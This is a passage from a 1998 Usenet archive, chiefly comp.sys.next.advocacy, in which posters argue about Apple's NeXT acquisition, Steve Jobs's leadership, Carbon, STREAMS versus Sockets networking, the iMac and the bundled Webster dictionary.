<35D30D17.B1021347@prim.demon.co.uk> <SCOTT.98Aug13093854@slave.doubleu.com>
Mime-Version: 1.0
Date: Fri, 14 Aug 1998 15:48:46 GMT
In <SCOTT.98Aug13093854@slave.doubleu.com> Scott Hess wrote:
> How many copies did you ship? Four or ten million? On a number of
> different platforms, too, I'll bet, and to novice users. And running
> web servers getting a million hits a day, from 40 different
> implementations of TCP/IP?
>
> Ye gods, I feel like I'm just standing in an empty field beating on a
> frying pan with a wooden spoon.
Pretty much, join the club.
> We aren't talking some demo program,
> here, with little care about whether it works.
You're right. I'm on OpenStep, and it works far better, faster and more
stabily that OT ever did on the Mac.
I used to think that it was not possible to do a STREAMS/Sockets shim.
Then I found no less than three examples of it. Apple's shim is likely to be
ugly, because they have to support the entire OT top-end, but the effort is
the same.
> If the TCP stack shipped with MacOS X has _any_ problems, Apple will
> be vilified in the mainstream press and on USENET.
Not if they can't connect! :-)
> load of hard work in front of them, and spending brain sweat on
> something which _really_ makes no difference isn't going to help them
> finish any faster.
It depends on what you mean by "no difference", a lot of people think
there's a difference. Most Mac network people thing this will have a massive
negative difference (I disagree, I think it will be minor). All the NeXT
folk think there will be a massive positive difference.
I vacillate between the two camps, but over the last week or so I'm
drifting farther and farther back into the Sockets camp. Why? because you
can download the code to the world's fastest IP stack from NetBSD, that's
why.
I used to be more in the STREAMS camp, notably when I found out that Mk7.3
comes with STREAMS built into it. At that point any effort to _change_ this
seemed stupid. But that's the thing, Apple isn't run by stupid people.
After considering this for some time it became clear what this meant.
And thus my change of heart. Indeed, if Apple _is_ rolling their own
kernel, then using anything BUT Sockets from the NetBSD sources (or open,
free etc.) is dumb for this release. But the opposite is _still_ true, if
Apple _is_ using Mk sources, then using anything BUT STREAMS id just as
stupid.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Fri, 14 Aug 1998 10:49:20 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D45C80.38A0C880@ericsson.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com> <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com> <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com> <slrn6t6hcj.igg.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> Well, Jobs actually tried to make a go at it. It doesn't work.
>
> The illusion of a vast fertile market for alternate operating systems
> to Windows is tempting, but, in fact, barren for commercial companies.
>
> I too believed in this fantasy for a while, as did many others.
I didn't say alternative operating systems. In fact, in my posting I
made it clear (I thought) that the operating-system-level strategy was
for boneheads. And I'm rather confused at this point; if you're trying
to put me off, why are you saying that an alternative operating system
market won't fly when that's exactly what Jobs is trying to advance at
this very moment?
I could easily say that Jobs tried the "alternative hardware platform to
Intel" as well but "it doesn't work", and that would be equally silly,
since that's also what Jobs is building.
> {For NeXT, it would have been more successful if Jobs could have
> gotten a workstation maker with deep pockets to buy them and make hardware
> with a better OS. NeXT failed in hardware because of a lack of the capital
> (and a RISC CPU) needed to seriously go at high-end hardware.}
NeXT failed in hardware because it had the same false notions about
hardware that everyone else (except Intel) had. Put exceedingly simply,
that price was secondary to quality. Nowadays you don't have to make a
trade-off, since high-end Intel hardware is a better workhorse for 90%
of all purposes than any other at a dramatically cheaper price point...
[cut]
> If Sun "got out of the hardware business" Javasoft would shrivel up in a few
> months.
>
> Take Solaris x86. They most standard commercial non-Microsoft OS on x86 with
> by lots of serious development can't even come remotely CLOSE to paying back
> its cost.
Eh...these examples don't really shed any light on what I'm talking
about, except to demonstrate that reliance on hardware is crippling to
others, as well.
This is not about "getting out of the hardware business". This is about
building self-reliant markets that don't bind the company. If Apple is
bound to its hardware it needs to get out of hardware. If Apple is
simply making money happily on hardware but doesn't need it, there's no
reason to "get out of hardware".
If Apple can't get out of hardware immediately *because* it is bound by
it, it needs to build the software business to allow transition. Your
Sun Microsystems example is perfect for this, since Sun is on a
fast-paced plan to build JavaSoft and Solaris into self-reliant software
businesses. Sun knows its hardware market is disappearing. Apple
doesn't.
> MacOS was festering, and buying NeXT was the easiest way to get a
> coherent development team who knows how to write operating systems, and
> an operating system base which worked.
This is asinine. You can't possibly pretend that the original purpose
for the NeXT acquisition was the same as the current purpose, because
the people who bought NeXT in the first place are gone and their plans
have been wiped out.
The original purpose for the NeXT acquisition was to acquire NeXT's
technology for the purpose of building a new generation of Macintosh
operating systems. The current purpose has been to transplant leadership
and engineering simply for the sake of the people involved. "Virus
transfusion", not "technology infusion". Who, at this point, can doubt
that NeXT's technology was nothing more than a vehicle for the careers
of the people involved?
Feel free to disagree, as ever: Steve Jobs doesn't know anything about
business that Gilbert Amelio didn't know. Steve Jobs simply won, and
Gilbert Amelio lost. That's the way it goes. And yes, reality bites.
> The other point is that it's easier to keep old customers and get new
> ones, and are lots more Mac people who are longing for upgrades
> compared to business iconoclasts who will bet enterprises on totally
> new operating systems.
Did you mention Linux previously? Which "business iconoclasts" have "bet
enterprises" on Linux? And yet Linux in the enterprise continues to
grow...
> How could Apple make it big it when NeXT couldn't?
I seem to remember that a lot of people had a lot of reasons back before
RDF changed the topic. I bet if I dug through DejaNews I could find a
few posts from you explaining how Apple was going to make NeXT
technology successful through introduction into a mainstream market and
leverage via established MacOS appeal.
Shifting goalposts are fine, just be sure to label them.
> NeXT was more devoted
> to that market, and didn't come with as much anti-business baggage.
Heck, I'm devoted to that market, and I don't come with any
anti-business baggage. What is this supposed to mean?
> Microsoft is omnipresent there. Even with _IBM_ throwing its massive weight
> behind Java and its deeply growing collection of enterprise-level tools,
> Java is still a significant underdog.
>
> Yes, if Java hadn't been invented, and IBM looked around and bought NeXT in
> 1993 for Openstep and then morphed it into something javaish, then yes
> things would be different. And still Apple would be out of it.
What does Apple have to do with it?
> Today, Java is the Microsoft-alternative in business. OPENSTEP isn't, nor
> couldn't be now.
It could, but Apple doesn't want to think that way. The irony: it must
be too "different".
> You mean "Embrace and extend?" How do you ''partner'' with Microsoft and
> then win?
This is a great conversation. Who was it that said "we must get rid of
the notion that for Apple to win, Microsoft must lose".
> Jobs' deal is the only one I know, and that does NOT involve giving them
> some part of their software on hopes it will not come back to bite them
> in the ass (a la RealNetworks, Sybase, Sun, et al)...
What deal? What do we know about "Jobs' deal"?
> There's risky strategies (the one they're in), and proven losing
> strategies (trying to compete head on with Microsoft on x86 operating
> systems, when you need Word.)
Who here is saying Apple should compete in operating systems? As far as
I know, Apple has the worst operating system in the business, bar none.
I'm told it has the best development tools and middleware in the
business. You put it together. RogueWave makes money on software. Apple
doesn't.
MJP
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 14 Aug 1998 16:20:30 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6r1o4e$le9@shelob.afs.com>
References: <35D45C80.38A0C880@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> writes
> The original purpose for the NeXT acquisition was to acquire NeXT's
> technology for the purpose of building a new generation of Macintosh
> operating systems.
You mean, like "Mac OS X Server" and "Mac OS X"? Unless Steve is lying,
these NeXT-technology-based operating systems ARE the future of Mac OS.
And the very fact that my old OPENSTEP applications recompile and run
on OS/X with almost no modifications -- certainly an order of magnitude
less work than most Carbon-based apps will have to do -- proves that
Steve's Carbon sleight-of-hand has worked to perfection. Even you seem
to believe the original purpose of the NeXT acquisition has been trashed.
You could not be more wrong. Carbon was a fantastic API strategy for
keeping the faithful in camp, and ideally it should have been part of
the polan all along. But Mac OS will NOT be the same after OS/X ships,
and the difference will be NeXT's technology.
> The current purpose has been to transplant leadership
> and engineering simply for the sake of the people involved.
You seem to believe all the people at the top who left/got fired were
done some great injustice by power-hungry infidels. Tell me, what good
had they been doing for Apple at the time they were ... displaced?
Do you really think Steve and Avie and Jon are there to cash in stock
options and build power bases for the sheer sake of it? That they take
no pride in a job well done, no satisfaction in turning around a
once-great company that needed kick-ass leadership?
> Who, at this point, can doubt that NeXT's technology was nothing
> more than a vehicle for the careers of the people involved?
I do. I think you're full of it on this topic.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Fri, 14 Aug 1998 11:30:28 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D46624.9BCFFA16@ericsson.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
<j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com>
<KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com> <oKIA1.23084$7k7.21198435@news.rdc1.sdca.home.com>
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rr6013@yahoo.com wrote:
> > So amid all of this, why is Jobs making this mistake with Apple?
>
> Sticking with hardware? He's a salesman... the best they've got. What else
> is he gonna sell?
True enough. See the Charles Cooper article on ZDNet. Maybe the question
is more like "Why are *you* making this mistake?".
> Solaris is free...
No, it's not!
> so now begins the market evolution of
> "free" .&. "proprietary".
What? Xi Graphics just began selling a several-hundred-dollar
distribution of Linux tailored to the enterprise. They expect to
succeed, and I expect they will.
> If the world is communalizing software, Apple must
> move to a services business model. They have a mfg'rg business model.
They must move to a software business model. People will pay for
software. They will not pay for hardware beyond a few pennies over cost
to the manufacturer. The iMac's margins are probably just high enough to
cover the advertising campaign.
> But you see hints of moving to specialized services in the online store with
> the BTO program. Watch and you should see more individualized, tailored
> programs from Apple.
Probably.
> See that doesn't bother me at all. I have no problem with Apple being BOTH
> hardware AND software.
It sounds great on paper, doesn't it? But then your software manager
wants to sell on x86 and all of a sudden the hardware guys are bitching
in the CEO's ear. And your hardware manager wants to sell NT
workstations, suddenly Mr. Software is pouring shit down the CEO's
shirt.
Welcome to Cupertino, where the business teams are children and the CEO
is a guy who worked his way up from sales. What is the difference
between Apple and the Boy Scouts? The Boy Scouts have adult supervision.
> Apple can sell product with high margins at the
> interface between software and hardware. I don't forsee that situation
> changing.
Oh, it will change, one way or the other. If Apple doesn't change it,
shrinking sales of both hardware and software will change it forcibly.
What's the difference between Apple and the Titanic? The Titanic had a
band.
> Whether the world moves from Ethernet -> ATM -> ??? peripherials
> and software API's are needed. This is different than conventional wisdom of
> Apple being at the interface between human and computer.
Wait. Now you're losing me. You're telling me that...Apple is good at
writing drivers? This is the new business model?
Please pardon my sarcasm. Apple is on the verge of the introduction of a
non-expandable machine, and you tell me that Apple's new market strength
is software/hardware integration. Very interesting.
> There does not exist any other marketplace for the NeXT product as it was
> configured. There were no buyers. There were no desktop buyers, enterprise
> buyers, developer buyers nor highly-advanced buyers. There were no buyers.
> No buyers... none.
Priced like a server, performance like a low-end workstation. You tell
me what went wrong.
> Because enterprises and governments are mandated to buy "off the shelf" .vs.
> "build to suit". You knew this...
No, I don't know what you're talking about. I could say, "you are
referring to the preference, in business, to purchase established,
proven solutions". Sure. I could say, "you are are referring to the fact
that companies don't buy advanced development tools to aid in-house
custom solution creation". Bzzzzzt, wrong.
> Yeah, programmer types have the toughest time since the discipline demands
> precise logic, sequential thought and connected cause/effect relationships.
> Tearing holes SJ did that. But I don't get the revolution piece. There is
> no revolution - no 1984 all over again. SJ went in and stripped away all the
> distractions so all that was left was Apple's core business. Focus returned
> and their core competencies became "important" again. No chaos in that...
Oh. Let's take the time, then, to define Steve Jobs' new role. Jobs is:
a) a package deal with the new NeXT technology
b) Leader of the Week
Jobs' new plan is:
a) Think Different
b) back to basics: niche market, shrinking customer base
Jobs' greatest competency is:
a) invigorating engineering teams
b) making speeches at hyped trade shows
Jobs' vision for Apple's future is:
a) using NeXT technology to improve Apple's products and, hopefully, its
bottom line
b) whatever it takes to stay in business and remain in power
> I didn't either, especially, with the over-the-top design emphasis and
> conventional specs. But the machine is new for Apple to offer to customers
> they have never "asked" to buy their product.
Uh, right. The Mac Classic sold for $999 at its introduction. Maybe you
weren't around.
> To those familiar with the
> topology of the Internet the box is a yawner... but I'm amazed at the numbers
> of people "enjoying" AOL and modeming up to the Internet. And this is in the
> face of OC-3 connectivity at their doorstep for $20/mo more.
Poor parallel. Those who have cable modem services in their area are
paying extra for it. I don't have it in my area. Stupid me.
> They are quite
> happy to experience the Internet (their words) with friends and family
> through AOL.
Really. "People are stupid, therefore a good business strategy would be
to sell them a piece of shit computer".
MJP
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac Menu (Was Mac OS X UI)
Message-ID: <1998081416401900.MAA11572@ladder01.news.aol.com>
Date: 14 Aug 1998 16:40:19 GMT
Organization: AOL http://www.aol.com
References: <ct83eb07gua.fsf@alycia.dementia.org>
Chris Hanson said:
<<The Macintosh human interface was originally developed for a
multitasking machine with a larger screen than the original Macintosh.
After all, even in 1984 Apple was calling it "Lisa Technology.">>
Excellent point that. However, the interface was changed between the Lisa and
the implementation on the Mac, was it not? The original Mac couldn't even task
switch until a special utility for this was released.
Anyone have a list of the UI differences between the two systems?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Date: Fri, 14 Aug 1998 09:40:50 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Message-ID: <stevehix-1408980940500001@ip31.safemail.com>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <35d89f8a.4951056@news.newsguy.com> <wizard-1408980010590001@we-24-130-8-241.we.mediaone.net>
Organization: Close to None
In article <35d89f8a.4951056@news.newsguy.com>, telam@iquest.net (Tom
Elam) wrote:
> Very interesting. Just for testing purposes I am FETching a copy of
> Communicator from the Netscape site as I write this on my puny P150 laptop.
> It's coming over the wire at 2,850 bps actual transfer speed, maxed out for my
> 28.8 connection. No skipped characters here. In fact, I can't tell anything
> else is going on other than my email program running. OK, now in addition I
> just asked the news reader to download the newest 1000 headers in
> alt.windows95. It's also doing that at the same time, starting now......still
> no effect on the keyboard, not even a lag due to buffered keystrokes.....
Sounds like what I do daily on my Mac here.
> It's called PMT, and it works. Someday maybe Apples will have it too.
Multi-threading works pretty well...you might look into it.
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 14 Aug 1998 16:38:09 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6r1p5h$4t0$1@sun27.hrz.tu-darmstadt.de>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com> <35CFAB70.E20B4D0B@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Dude, don't get me wrong. I can totally see how helpful this would be. I
>think it makes a great add-on package, and I think that if Apple already
>has it (with Webster's) it should be the first thing in the MacOS X
>Plus! Pack [chuckle].
>
>Incidentally, with the high speed and low price of CD-ROM drives, you
>could probably add an extra one to your setup and leave the Webster's CD
>in, instead of taking up hard drive space, if desired. I would hesitate
>to fill up a hard drive with Webster's, but that's just stingy ol' me.
Hm, I just looked it up. The compact dictionary needs 13MB - I can live
with that, if it speeds up access (and yes, that's what I like best about
the NeXT implementation of Webster). That's not really filling up disk
space, unless you have a really crammed disk.
What's wrong with having the option? Some prefer the fast access an
internal app provides, some prefer a flashy Web page. Me, I'd rather
pay a few extra dollars and have it on disk.
Regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Any surrprised left?
Date: 14 Aug 1998 16:37:57 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdc7a1$2f2c33d0$06387880@chewy>
Apple managed to surprise most of us with the initial iMac
announcement, Carbon and MacOS X, and its string of profitable
quarters.
Does Apple have any surprised in store for us now that it has the
media's attention with the iMac debut tomorrow?
To beat a dead horse yet again, I'll throw out my wish:
Apple announces tuner support for the new HDTVs.
As you may have heard, HDTVs have started appearing in some
stores[1][2]. These systems have decoupled their tuner/decoder, in
part because there isn't much for the sets to pick up right now - cool
boxes but nothing to show on them.
I would love for Apple to demonstrate the Macintosh driving Panasonic's
$5,500 56" HDTV in consumer electronic stores. Games could really be
cool. But initially, the biggest win would be for customers seeing
Apple computers driving the next generation TVs - once again connecting
Apple with the consumer, entertainment, future technology, and content.
[1] http://www.news.com/News/Item/0,4,24886,00.html
[2] http://www.techweb.com/wire/story/TWB19980807S0011
Todd
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted
Date: Fri, 14 Aug 1998 09:49:28 -0700
Organization: Oh, I only wish
Message-ID: <not-1408980949290001@ip-167-031.phx.primenet.com>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <35d11510.0@news3.ibm.net> <FIiROLCWddLd-pn2-PiVGlPFJxJge@localhost>
Mail-Copies-To: never
In article <FIiROLCWddLd-pn2-PiVGlPFJxJge@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> I'm probably a weirdo wishing to keep PowerMacs - preferably all of
> them - in active use for many years to come. Mac OS X and its
> offspring versions would sound like an excellent must-have
> chemical-free upgrade(s), even on yearly basis. The new G-something
> hardware OTOH sounds very attractive on its own right, without any
> arrogant abandoning of still-useful PowerMacs.
Mac OS X is not a must-have upgrade in any way, shape or form. It is a
luxury, the way that adding a turbocharger to your car is a luxury. Mac OS
8 and 9 will run on those oldr powermacs just fine, and will be truly
amazing in their own right.
All you people whining about "abandonment" will shut up so fast this
October it won't even be funny--there will be a giant sucking sound as you
all gasp.
I just tried the latest beta of OS 8.5. I damn near saw god. If Mac OS X
is cooler than 8.5, then Apple's going to write the best damn OS in the
world. And make the best damn hardware to run it on.
> The "used market" exists for a reason. More-than-two-year-old
> computers equipped with the right software can help low-income
> families, students and even kids become Mac OS X / YB users. There are
> lots of "used" computers supporting the Wintel marketplace.
Yes, and those "used" computers often run "used" OSs. Is there a problem
with that? And will all that right software somewhow magically stop
working the very day that Mac OS X comes out? By your own logic, Mac OS X
will greatly increase this "used" market you seem to care so much about.
michael
--
"If you're bored, then you're boring"--Harvey Danger, Flagpole Sitta
Michael M. Eilers * Fearful Symmetry Designs * e-mail in headers
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Fri, 14 Aug 1998 11:37:31 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D467CB.1793C86C@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com>
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Gregory H. Anderson wrote:
> You mean, like "Mac OS X Server" and "Mac OS X"? Unless Steve is lying,
> these NeXT-technology-based operating systems ARE the future of Mac OS.
> And the very fact that my old OPENSTEP applications recompile and run
> on OS/X with almost no modifications -- certainly an order of magnitude
> less work than most Carbon-based apps will have to do -- proves that
> Steve's Carbon sleight-of-hand has worked to perfection. Even you seem
> to believe the original purpose of the NeXT acquisition has been trashed.
> You could not be more wrong. Carbon was a fantastic API strategy for
> keeping the faithful in camp, and ideally it should have been part of
> the polan all along. But Mac OS will NOT be the same after OS/X ships,
> and the difference will be NeXT's technology.
The cost associated with Carbon has been shrugged off by NeXT people.
The result is a Windows NT work-alike, I've said this before. If that's
good enough for you, one wonders what all the fuss has been about.
> You seem to believe all the people at the top who left/got fired were
> done some great injustice by power-hungry infidels. Tell me, what good
> had they been doing for Apple at the time they were ... displaced?
I have no need to justify the unnamed individuals of whom you speak,
whomever they may be. The fact remains that Steve Jobs is simply the
next in a long line of people waiting for their chance to run a
high-profile Silicon Valley firm.
> Do you really think Steve and Avie and Jon are there to cash in stock
> options and build power bases for the sheer sake of it? That they take
> no pride in a job well done, no satisfaction in turning around a
> once-great company that needed kick-ass leadership?
What would that have to do with the subject, which is the fact that the
company *still* needs and lacks "kick-ass leadership"?
> > Who, at this point, can doubt that NeXT's technology was nothing
> > more than a vehicle for the careers of the people involved?
>
> I do. I think you're full of it on this topic.
Time...is on my side...yes it is...
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Fri, 14 Aug 1998 11:49:55 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D46AB3.32036B60@ericsson.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com> <35CFAB70.E20B4D0B@ericsson.com> <6r1p5h$4t0$1@sun27.hrz.tu-darmstadt.de>
Mime-Version: 1.0
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Christian Neuss wrote:
> Hm, I just looked it up. The compact dictionary needs 13MB - I can live
> with that, if it speeds up access (and yes, that's what I like best about
> the NeXT implementation of Webster). That's not really filling up disk
> space, unless you have a really crammed disk.
A compact dictionary wouldn't do me much good. John said that the full
thing takes up just under 45 MB. Not a problem, for an add-on. I don't
want/need it in my operating system installs, that's it, period, thank
you. I don't install TeX documentation with my Linux installs, and I
don't need a 45 MB dictionary on there, either. It's all out there on
the Web, updated as necessary, easy to access, etc., etc. That's where
it belongs.
> What's wrong with having the option? Some prefer the fast access an
> internal app provides, some prefer a flashy Web page.
Flashy Web page? I can't help thinking you said this for two reasons:
1) You've never actually been to the Merriam-Webster Web page.
2) You felt the need to throw something belittling in.
> Me, I'd rather
> pay a few extra dollars and have it on disk.
Great. I'd rather save a few extra dollars from not having something I
neither need nor want. I never bought a Performa because "$700 in
software included" didn't actually save me any money when the software
included was totally useless.
MJP
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 14 Aug 1998 16:41:09 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6r1pb5$4t0$2@sun27.hrz.tu-darmstadt.de>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com> <6qok3a$20f@news1.panix.com> <35d05ffe.0@news.depaul.edu> <6qq18i$qac$1@nnrp1.dejanews.com> <SCOTT.98Aug11143008@slave.doubleu.com>
scott@nospam.doubleu.com (Scott Hess) wrote:
>In article <6qq18i$qac$1@nnrp1.dejanews.com>,
> spagiola@my-dejanews.com writes:
> Just wondering if it would be possible, and legal, to write a
> Rhapsody app to access the Webster data files that came with
> NeXTSTEP, and then simply transfer those files?
>
>If you aquired the files legitimately, sure. In effect, this implies
>that you save your original distribution media, and don't have the
>files installed on your NeXTSTEP machines.
Hm, for most users of black hardware, the NeXTSTEP machine _is_
the original distribution media :-)
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <8JB3C34Z.1FS1TEB3@icsdev.net>
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Date: 14 Aug 1998 17:47:05 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: email@icsdev.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 14 Aug 1998 18:02:08 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6r1u30$ltb@shelob.afs.com>
References: <35D467CB.1793C86C@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> writes
> The cost associated with Carbon has been shrugged off by NeXT people.
I don't understand what you mean by this. I simply meant that at the
time of the NeXT acquisition, if Apple had come out immediately with a
plan that included all of the new stuff, but making quite clear that
legacy apps and developers would not be disenfranchised, the last 18
months would have gone a lot smoother. Instead, there was the message
that Rhapsody would completely replace Mac OS, and everyone was going
to have to align themselves with the New One True Way. This mistake has
been corrected, but it caused some heavy damage along the way.
I certainly understand that legacy Mac apps will need some rewriting,
and the amount depends on the app. It's similar to what happened when
NEXTSTEP became OPENSTEP, and that wasn't pretty for *me*. But given
that the major developers have committed to Carbon, they must have a
convincing business case for undertaking the work.
> The result is a Windows NT work-alike, I've said this before. If that's
> good enough for you, one wonders what all the fuss has been about.
Because many of us prefer the Mac/NeXT UI to the Windows UI. I use NT4
and 98 all day long, and I can't wait to be rid of them.
> The fact remains that Steve Jobs is simply the next in a long line of
> people waiting for their chance to run a high-profile Silicon Valley
> firm.
You're right. I keep forgetting Pixar is a failure, and Microsoft
invented the personal computer. Steve Jobs was RUNNING a high-profile
firm when no one had even heard of Bill Gates. And given that Apple
definitely didn't run better in his absence (over the course of time;
obviously Apple had a few good years in the middle), I understand why
he would want to go back and prove his original ouster was a mistake.
> What would that have to do with the subject, which is the fact that
> the company *still* needs and lacks "kick-ass leadership"?
If you don't think Apple today is running tighter, smoother, and more
focused than it was a year ago, there's nothing I could say on this
point to change your mind. That leadership comes from the top. Even
Amelio has admitted he never got the troops moving in his direction.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: gmiller@inca.co.nz (Gaven Miller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Followup-To: alt.test
Date: 13 Aug 1998 00:59:58 GMT
Organization: Comnet Technologies Ltd, Wellington, NEW ZEALAND
Message-ID: <6qtdqe$m0r$1@newshost.comnet.co.nz>
References: <6qo4vf$99d$1@nnrp1.dejanews.com>
> Imagine that CRAY decides to make a personal computer. It contains 16
> Alpha based processors executing in parallel, has 800 megabytes of RAM,
> 100 Gigabytes of disk storage, a resolution of 4096 x 4096 pixels, does
> 24bit 3D graphics in realtime, relies entirely on voice recognition for
> input, fits in your shirt pocket and costs $300. What is the first
> question the computer community asks?
Does it run Windows? :-)
--
All email sent to my inca address will fail, however I can now be
contacted via an intermediary : gem at tos pl net. I would like to
apologise to the genuine respondents that this may inconvenience.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 14 Aug 1998 18:36:31 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6r203f$s32@newsb.netnews.att.com>
Originator: gupta@tlctest
From the "Mole" (an opinion column)
http://webserv.vnunet.com/www_user/plsql/pkg_vnu_homepage.homepage
Quote :
Mole has never been to a Microsoft product demonstration at which
the operating system of the moment did not crash, so there is a
certain inevitability about the Yorktown's problems [the battleship.]
So regular are these crashes that Microsoft officials have even
taking to joking about them.
At a recent demonstration of Windows CE to devotees of the
ARM RISC core, the Microsoft presenter quipped that he had built in
a spoof crash in his demo routine so as not to disappoint his
audience. In the event, the machine stubbornly refused to boot at
all, so we may never know what one of Microsoft's spoof crashes
looks like"
End quote.
-arun gupta
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Fri, 14 Aug 1998 13:40:33 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D484A1.23078796@ericsson.com>
References: <35D467CB.1793C86C@ericsson.com> <6r1u30$ltb@shelob.afs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Gregory H. Anderson wrote:
> I certainly understand that legacy Mac apps will need some rewriting,
> and the amount depends on the app. It's similar to what happened when
> NEXTSTEP became OPENSTEP, and that wasn't pretty for *me*. But given
> that the major developers have committed to Carbon, they must have a
> convincing business case for undertaking the work.
The committment you're describing, on the terms you're describing, has
cost the next-generation Macintosh operating system most of what NeXT
would have brought, in and of itself. I don't need to rehash; it's been
done plenty of times. The real advances are the microkernel, the BSD
operating system, and the Concert APIs, two of which don't come from
NeXT and the third of which will be mostly unused for several years and
are rapidly becoming outdated and outmoded, anyway.
It would have been better to buy Be, begin a redesign cycle that moved
core APIs to Java, and shipped a working OS to developers in 12 months
in the meantime.
> > The result is a Windows NT work-alike, I've said this before. If that's
> > good enough for you, one wonders what all the fuss has been about.
>
> Because many of us prefer the Mac/NeXT UI to the Windows UI. I use NT4
> and 98 all day long, and I can't wait to be rid of them.
I don't know why this surprises me so much. I can't believe the
